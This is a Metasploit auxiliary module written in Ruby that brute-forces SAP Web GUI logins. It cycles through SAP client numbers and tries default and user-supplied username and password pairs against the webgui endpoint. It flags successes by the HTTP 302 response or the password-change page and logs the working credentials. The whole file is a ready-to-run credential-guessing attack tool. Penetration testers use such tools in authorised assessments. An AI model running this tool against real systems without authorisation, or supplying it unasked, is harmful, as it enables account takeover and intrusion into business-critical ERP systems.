##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# This module is based on, inspired by, or is a port of a plugin available in
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
# http://www.onapsis.com/research-free-solutions.php.
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy. I'd also like to thank Chris John Riley,
# Ian de Villiers and Joris van de Vis who have Beta tested the modules and
# provided excellent feedback. Some people just seem to enjoy hacking SAP :)
##

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::AuthBrute

	def initialize
		super(
			'Name' => 'SAP Web GUI Login Brute Forcer',
			'Description' => %q{
				This module attempts to brute force SAP username and passwords through the SAP Web
				GUI service. Default clients can be	tested without needing to set a CLIENT. Common
				and default user/password combinations can be tested just setting the DEFAULT_CRED
				variable to true. The MSF_DATA_DIRECTORY/wordlists/sap_default.txt path store
				stores these default combinations.
			},
			'References' =>
				[
					[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]
				],
			'Author' =>
				[
					'nmonkee'
				],
			'License' => MSF_LICENSE

		)
		register_options(
			[
				Opt::RPORT(8000),
				OptString.new('TARGETURI', [true, 'URI', '/']),
				OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']),
				OptBool.new('DEFAULT_CRED',[false, 'Check using the default password and username',true]),
				OptString.new('USERPASS_FILE',[false, '',nil])
			], self.class)
	end

	def run_host(ip)
		uri = target_uri.to_s
		if datastore['CLIENT'].nil?
			print_status("Using default SAP client list")
			client = ['000','001','066']
		else
			client = []
			if datastore['CLIENT'] =~ /^\d{3},/
				client = datastore['CLIENT'].split(/,/)
				print_status("Brute forcing clients #{datastore['CLIENT']}")
			elsif datastore['CLIENT'] =~ /^\d{3}-\d{3}\z/
				array = datastore['CLIENT'].split(/-/)
				client = (array.at(0)..array.at(1)).to_a
				print_status("Brute forcing clients #{datastore['CLIENT']}")
			elsif datastore['CLIENT'] =~ /^\d{3}\z/
				client.push(datastore['CLIENT'])
				print_status("Brute forcing client #{datastore['CLIENT']}")
			else
				print_status("Invalid CLIENT - using default SAP client list instead")
				client = ['000','001','066']
			end
		end
		saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default,
			'Header'  => "[SAP] Credentials",
			'Prefix'  => "\n",
			'Postfix' => "\n",
			'Indent'  => 1,
			'Columns' => ["host","port","client","user","pass"])


		if datastore['DEFAULT_CRED']
			credentials = extract_word_pair(Msf::Config.data_directory + '/wordlists/sap_default.txt')
			credentials.each do |u, p|
				client.each do |cli|
					success = bruteforce(uri, u, p, cli)
					if success
						saptbl << [ rhost, rport, cli, u, p]
					end
				end
			end
		end
		each_user_pass do |u, p|
			client.each do |cli|
				success = bruteforce(uri, u, p, cli)
				if success
					saptbl << [ rhost, rport, cli, u, p]
				end
			end
		end
		print(saptbl.to_s)

	end

	def bruteforce(uri,user,pass,cli)
		begin
			path = "sap/bc/gui/sap/its/webgui/"
			cookie = "Active=true; sap-usercontext=sap-language=EN&sap-client=#{cli}"
			res = send_request_cgi({
				'uri'    => "#{uri}#{path}",
				'method' => 'POST',
				'cookie' => cookie,
				'vars_post' => {
					'sap-system-login-oninputprocessing' => 'onLogin',
					'sap-urlscheme' => '',
					'sap-system-login' => 'onLogin',
					'sap-system-login-basic_auth' => '',
					'sap-system-login-cookie_disabled' => '',
					'sysid' => '',
					'sap-client' => cli,
					'sap-user' => user,
					'sap-password' => pass,
					'sap-language' => 'EN'
					}
				})
		rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
			print_error("[SAP] #{rhost}:#{rport} - Service failed to respond")
			return false
		end

		if res and res.code == 302
			report_auth_info(
				:host => rhost,
				:port => rport,
				:sname => "sap_webgui",
				:proto => "tcp",
				:user => "#{user}",
				:pass => "#{pass}",
				:proof => "SAP Client: #{cli}",
				:active => true
			)
			return true
		elsif res and res.code == 200
			if res.body =~ /log on again/
				return false
			elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
				report_auth_info(
					:host => rhost,
					:port => rport,
					:sname => "sap_webgui",
					:proto => "tcp",
					:user => "#{user}",
					:pass => "#{pass}",
					:proof => "SAP Client: #{cli}",
					:active => true
				)
				return true
			elsif res.body =~ /Password logon no longer possible - too many failed attempts/
				print_error("[SAP] #{rhost}:#{rport} - #{user} locked in client #{cli}")
				return false
			end
		else
			print_error("[SAP] #{rhost}:#{rport} - error trying #{user}/#{pass} against client #{cli}")
			return false
		end
	end
end
